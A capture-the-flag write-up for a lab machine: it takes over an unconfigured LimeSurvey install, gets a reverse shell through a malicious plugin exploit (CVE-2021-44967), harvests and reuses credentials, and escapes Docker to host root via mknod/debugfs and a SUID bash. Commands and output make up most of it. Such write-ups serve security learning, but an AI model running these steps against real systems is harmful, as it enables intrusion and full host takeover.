Overview#
Forgotten is a very beginner friendly, easy machine which confronting us with a left over machine, where LimeSurvey was not fully configured. This leaves the opportunity to set it up with our own mysql database server, following in getting admin access. As admin we can install malicious php plugins, which gets us initial foothold. For privilege escalation we use credential harvesting techniques to escape the container via password reuse. Finally we get to root on the host via common docker abuse, when having a low privileged user on the host and being root in a container. There are multiple techniques possible, i’ll showcase two of them.
User#
In nmap portscan we see only two ports open. SSH and a web server running Apache on 80:
sudo nscan 10.129.234.81
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_ 256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
As nmap told us we get an 403 on the root of the web server. Directory fuzzing reveals an survey endpoint:
feroxbuster -u 'http://10.129.234.81/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,bak,js,php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.13.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.129.234.81/
π© In-Scope Url β 10.129.234.81
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.13.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π² Extensions β [txt, bak, js, php]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 315c http://10.129.234.81/survey => http://10.129.234.81/survey/
302 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 321c http://10.129.234.81/survey/admin => http://10.129.234.81/survey/admin/
301 GET 9l 28w 323c http://10.129.234.81/survey/plugins => http://10.129.234.81/survey/plugins/
301 GET 9l 28w 323c http://10.129.234.81/survey/modules => http://10.129.234.81/survey/modules/
301 GET 9l 28w 319c http://10.129.234.81/survey/tmp => http://10.129.234.81/survey/tmp/
301 GET 9l 28w 322c http://10.129.234.81/survey/themes => http://10.129.234.81/survey/themes/
This endpoint shows LimeSurvey is in play and it isn’t yet fully configured:
Going through the installer shows it is on version 6.3.7:
As mysql is not configured we create an instance on our attackbox and point LimeSurvey to it (Note: you can also spin up a docker container to do this):
#install / start mariadb
sudo apt update
sudo apt install mariadb-server
#change bind address to address space of VPN interface or simply all 0.0.0.0
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 0.0.0.0
sudo service mariadb start
#login
sudo mariadb
#create database
MariaDB [(none)]> CREATE DATABASE `limey` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
#add user with remnote access
CREATE USER 'lime'@'%' IDENTIFIED BY 'limE_1234';
#grant access to limey db
GRANT ALL PRIVILEGES ON limey.* TO 'lime'@'%';
Fill in your db connection details:
Connected successfully:
Create your admin login:
Login with your set password:
Having setup LimeSurvey and obtained admin rights, we can straight up install a malicious plugin which gives us RCE capabilities (https://github.com/D3Ext/CVE-2021-44967):
The RCE is marked working on version 5.2.4. But this is when it is found out by a security researcher. The flaw is not patched, as it is stated NOTE: the Supplier's position is that plugins intentionally can contain arbitrary PHP code, and can only be installed by a superadmin, and therefore the security model is not violated by this finding. -> https://www.cvedetails.com/cve/CVE-2021-44967. The devil is in the detail :).
Exploit:
python CVE-2021-44967.py --url http://10.129.234.81/survey/ --user admin --password 'limE_1234' --lhost 10.10.14.96 --lport 9001
[+] CVE-2021-44967 - LimeSurvey Authenticated RCE
[+] URL: http://10.129.234.81/survey
[*] Creating malicious zip file...
> Plugin name: zfshdfccyk
[*] Sending login request...
/home/kali/htb/forgotten/CVE-2021-44967/CVE-2021-44967.py:42: DeprecationWarning: Call to deprecated method findAll. (Replaced by find_all) -- Deprecated since version 4.0.0.
csrf_token = s.findAll('input')[0].get("value")
[+] Successfully logged in as admin
[*] Uploading malicious plugin...
[+] The malicious plugin was successfully uploaded
[*] Installing uploaded plugin...
[+] The plugin was successfully installed
[*] Activating malicious plugin...
[+] Malicious plugin was successfully activated
[*] Triggering plugin by sending request to http://10.129.234.81/survey/upload/plugins/zfshdfccyk/php-rev.php
[+] Check your netcat listener!
Working first try!:
ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.234.81:43918.
Linux efaa6f5097ed 6.8.0-1033-aws #35~22.04.1-Ubuntu SMP Wed Jul 23 17:51:00 UTC 2025 x86_64 GNU/Linux
14:31:23 up 2:09, 0 users, load average: 3.52, 50.22, 42.89
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$
It lands us in a docker container as limesvc:
limesvc@efaa6f5097ed:/$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
limesvc@efaa6f5097ed:/$ ls -lha
total 336K
drwxr-xr-x 1 root root 4.0K Dec 2 2023 .
drwxr-xr-x 1 root root 4.0K Dec 2 2023 ..
-rwxr-xr-x 1 root root 0 Dec 2 2023 .dockerenv
drwxr-xr-x 1 root root 4.0K Dec 2 2023 bin
drwxr-xr-x 2 root root 4.0K Sep 29 2023 boot
drwxr-xr-x 5 root root 340 Nov 27 12:21 dev
drwxr-xr-x 1 root root 4.0K Dec 2 2023 etc
drwxr-xr-x 1 root root 4.0K Dec 2 2023 home
drwxr-xr-x 1 root root 4.0K Nov 21 2023 lib
drwxr-xr-x 2 root root 4.0K Nov 20 2023 lib64
drwxr-xr-x 2 root root 4.0K Nov 20 2023 media
drwxr-xr-x 2 root root 4.0K Nov 20 2023 mnt
drwxr-xr-x 2 root root 4.0K Nov 20 2023 opt
dr-xr-xr-x 281 root root 0 Nov 27 12:21 proc
drwx------ 1 root root 4.0K Dec 2 2023 root
drwxr-xr-x 1 root root 4.0K Nov 21 2023 run
drwxr-xr-x 1 root root 4.0K Dec 2 2023 sbin
drwxr-xr-x 2 root root 4.0K Nov 20 2023 srv
dr-xr-xr-x 13 root root 0 Nov 27 12:21 sys
drwxrwxrwt 1 root root 256K Nov 27 14:31 tmp
drwxr-xr-x 1 root root 4.0K Nov 20 2023 usr
drwxr-xr-x 1 root root 4.0K Nov 21 2023 var
Environment credential harvesting:
limesvc@efaa6f5097ed:/$ env
HOSTNAME=efaa6f5097ed
<SNIPPED>
LIMESURVEY_PASS=5W5HN4K4GCXf9E
This could also be the user password, lets try as we are in the sudo group:
limesvc@efaa6f5097ed:/$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for limesvc:
Matching Defaults entries for limesvc on efaa6f5097ed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
limesvc@efaa6f5097ed:/$ sudo su
root@efaa6f5097ed:/#
Let’s try the password via SSH:
ssh limesvc@10.129.234.81
The authenticity of host '10.129.234.81 (10.129.234.81)' can not be established.
ED25519 key fingerprint is: SHA256:Dgu3MKOg2XUbjInyeAgQbBsHXIBePlc4jLIgssUKTt0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.234.81' (ED25519) to the list of known hosts.
(limesvc@10.129.234.81) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1033-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Nov 27 14:41:05 UTC 2025
System load: 0.0 Processes: 228
Usage of /: 61.7% of 6.60GB Users logged in: 0
Memory usage: 14% IPv4 address for eth0: 10.129.234.81
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
limesvc@forgotten:~$
limesvc@forgotten:~$ ll
total 32
drwxr-x--- 4 limesvc limesvc 4096 Aug 14 19:15 ./
drwxr-xr-x 4 root root 4096 Dec 2 2023 ../
lrwxrwxrwx 1 root root 9 Aug 14 19:15 .bash_history -> /dev/null
-rw-r--r-- 1 limesvc limesvc 220 Dec 2 2023 .bash_logout
-rw-r--r-- 1 limesvc limesvc 3771 Dec 2 2023 .bashrc
drwx------ 2 limesvc limesvc 4096 Dec 2 2023 .cache/
drwxrwxr-x 3 limesvc limesvc 4096 Dec 2 2023 .local/
-rw-r--r-- 1 limesvc limesvc 807 Dec 2 2023 .profile
-rw-r----- 1 root limesvc 33 Nov 27 12:22 user.txt
limesvc@forgotten:~$
Password reuses worked, we get in and retrieve the user-flag.
Root#
Path 1#
There is a known privilege escalation path, if you get to root inside a container and a low privileged user on the host. Tough you need the MKNOD capability inside the container for it to work (which is the default). ippsec did a very well explanation in his video: https://www.youtube.com/watch?v=uUPj4Qj01-0&t=5180s
On host:
# find out what is the root partition of the file system
limesvc@forgotten:/$ lsblk
<SNIPPED>
sda 8:0 0 8G 0 disk
ββsda1 8:1 0 6.9G 0 part /
ββsda2 8:2 0 1023M 0 part [SWAP]
ββsda14 8:14 0 4M 0 part
ββsda15 8:15 0 106M 0 part /boot/efi
We are interested in partition sda1.
In container:
# create a filesystem node with mknod as root user targeting the sda1 partition on 8:1
root@efaa6f5097ed:/# mknod sda1 b 8 1
# replicate the same user as in the host system (in this case it already got the same uid/gid)
root@efaa6f5097ed:/ cat /etc/passwd
limesvc:x:2000:2000::/home/limesvc:/bin/bash
# adding would be possible with:
echo "limesvc:x:2000:2000::/home/limesvc:/bin/bash" >> /etc/passwd
# switch to this user
su limesvc
On host:
# find the PID on this last opened bash shell
limesvc@forgotten:/$ ps -aux | grep bash
limesvc 22372 0.0 0.0 2444 1536 ? S 14:36 0:00 script /dev/null -qc bash
limesvc 22373 0.0 0.0 2480 1280 pts/0 Ss 14:36 0:00 sh -c bash
limesvc 22374 0.0 0.0 4160 3456 pts/0 S 14:36 0:00 bash
root 22841 0.0 0.0 4160 3072 pts/0 S 14:39 0:00 bash
limesvc 23192 0.0 0.1 9192 5248 pts/0 Ss 14:41 0:00 -bash
limesvc 26333 0.0 0.0 4160 3328 pts/0 S+ 15:01 0:00 bash
limesvc 26448 0.0 0.0 7008 2304 pts/0 S+ 15:01 0:00 grep --color=auto bash
# enter the proc directory of this PID
limesvc@forgotten:/$ cd /proc/26333
# enter the root directory and find the whole filesystem of the host root partition in sda1
limesvc@forgotten:/proc/26333$ cd root
limesvc@forgotten:/proc/26333/root$ ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin sda1 srv sys tmp usr var
To access sda1 we need to use debugfs (optionally we can access it raw with strings or xxd):
limesvc@forgotten:/proc/26333/root$ debugfs sda1
debugfs: cat /root/root.txt
We can read the root-flag! (and any other file on the filesystem).
Path 2#
Another way to privilege escalate in this state is if a directory from the host is mounted inside the container. In our case we can easily see that /opt/limesurvey is mounted to /var/www/html/survey:
limesvc@forgotten:/opt/limesurvey$ ll
total 168
drwxr-xr-x 15 limesvc limesvc 4096 Nov 27 15:27 ./
drwxr-xr-x 4 root root 4096 Dec 2 2023 ../
-rw-rw-r-- 1 limesvc limesvc 1091 Nov 27 2023 .htaccess
-rw-rw-r-- 1 limesvc limesvc 49474 Nov 27 2023 LICENSE
-rw-rw-r-- 1 limesvc limesvc 2488 Nov 27 2023 README.md
-rw-rw-r-- 1 limesvc limesvc 536 Nov 27 2023 SECURITY.md
drwxr-xr-x 2 limesvc limesvc 4096 Nov 27 2023 admin/
drwxr-xr-x 15 limesvc limesvc 4096 Nov 27 2023 application/
drwxr-xr-x 10 limesvc limesvc 4096 Nov 27 2023 assets/
drwxr-xr-x 7 limesvc limesvc 4096 Nov 27 2023 docs/
-rw-rw-r-- 1 limesvc limesvc 8154 Nov 27 2023 gulpfile.js
-rw-rw-r-- 1 limesvc limesvc 5564 Nov 27 2023 index.php
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 installer/
drwxr-xr-x 120 limesvc limesvc 4096 Nov 27 2023 locale/
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 modules/
drwxr-xr-x 23 limesvc limesvc 4096 Nov 27 2023 node_modules/
-rwxrwxr-x 1 limesvc limesvc 9672 Nov 27 2023 open-api-gen.php*
drwxr-xr-x 3 limesvc limesvc 4096 Nov 27 2023 plugins/
-rw-rw-r-- 1 limesvc limesvc 2175 Nov 27 2023 psalm-all.xml
-rw-rw-r-- 1 limesvc limesvc 1090 Nov 27 2023 psalm-strict.xml
-rw-rw-r-- 1 limesvc limesvc 1074 Nov 27 2023 psalm.xml
-rw-rw-r-- 1 limesvc limesvc 1684 Nov 27 2023 setdebug.php
drwxr-xr-x 5 limesvc limesvc 4096 Nov 27 2023 themes/
drwxr-xr-x 6 limesvc limesvc 4096 Nov 27 14:31 tmp/
drwxr-xr-x 9 limesvc limesvc 4096 Nov 27 2023 upload/
drwxr-xr-x 36 limesvc limesvc 4096 Nov 27 2023 vendor/
limesvc@efaa6f5097ed:/var/www/html/survey$ ls -lha
total 168K
drwxr-xr-x 15 limesvc limesvc 4.0K Nov 27 2023 .
drwxrwxrwt 1 www-data www-data 4.0K Dec 2 2023 ..
-rw-rw-r-- 1 limesvc limesvc 1.1K Nov 27 2023 .htaccess
-rw-rw-r-- 1 limesvc limesvc 49K Nov 27 2023 LICENSE
-rw-rw-r-- 1 limesvc limesvc 2.5K Nov 27 2023 README.md
-rw-rw-r-- 1 limesvc limesvc 536 Nov 27 2023 SECURITY.md
drwxr-xr-x 2 limesvc limesvc 4.0K Nov 27 2023 admin
drwxr-xr-x 15 limesvc limesvc 4.0K Nov 27 2023 application
drwxr-xr-x 10 limesvc limesvc 4.0K Nov 27 2023 assets
drwxr-xr-x 7 limesvc limesvc 4.0K Nov 27 2023 docs
-rw-rw-r-- 1 limesvc limesvc 8.0K Nov 27 2023 gulpfile.js
-rw-rw-r-- 1 limesvc limesvc 5.5K Nov 27 2023 index.php
drwxr-xr-x 4 limesvc limesvc 4.0K Nov 27 2023 installer
drwxr-xr-x 120 limesvc limesvc 4.0K Nov 27 2023 locale
drwxr-xr-x 4 limesvc limesvc 4.0K Nov 27 2023 modules
drwxr-xr-x 23 limesvc limesvc 4.0K Nov 27 2023 node_modules
-rwxrwxr-x 1 limesvc limesvc 9.5K Nov 27 2023 open-api-gen.php
drwxr-xr-x 3 limesvc limesvc 4.0K Nov 27 2023 plugins
-rw-rw-r-- 1 limesvc limesvc 2.2K Nov 27 2023 psalm-all.xml
-rw-rw-r-- 1 limesvc limesvc 1.1K Nov 27 2023 psalm-strict.xml
-rw-rw-r-- 1 limesvc limesvc 1.1K Nov 27 2023 psalm.xml
-rw-rw-r-- 1 limesvc limesvc 1.7K Nov 27 2023 setdebug.php
drwxr-xr-x 5 limesvc limesvc 4.0K Nov 27 2023 themes
drwxr-xr-x 6 limesvc limesvc 4.0K Nov 27 14:31 tmp
drwxr-xr-x 9 limesvc limesvc 4.0K Nov 27 2023 upload
drwxr-xr-x 36 limesvc limesvc 4.0K Nov 27 2023 vendor
Now all that is left to do is copy bash into this directory on the host, give it SUID permissions and chown it as root in the container:
limesvc@forgotten:/opt/limesurvey$ cp /bin/bash .
In container:
root@efaa6f5097ed:/var/www/html/survey# chown root:root bash
root@efaa6f5097ed:/var/www/html/survey# chmod +s bash
Escalate:
limesvc@forgotten:/opt/limesurvey$ ll
<SNIPPED>
-rwsr-sr-x 1 root root 1396520 Nov 27 15:28 bash*
<SNIPPED>
limesvc@forgotten:/opt/limesurvey$ ./bash -p
bash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
Learning Points#
- Read
CVEtexts carefully. Maybe older ones are still valid, if they never were fixed from the vendor. - Always apply credentials harvesting inside a docker container. There are more than often juicy secrets waiting to get plucked.
- Having obtained root level access inside a docker container and shell access on the host, can very often lead to root access on the host.
Mitigation Points#
- Don’t let any systems remotely access with unconfigured state.
- Strengthen overall security by avoiding password reuses
- There are options to hardening docker, by dropping capabilities like
mknod:docker run --cap-drop=MKNOD

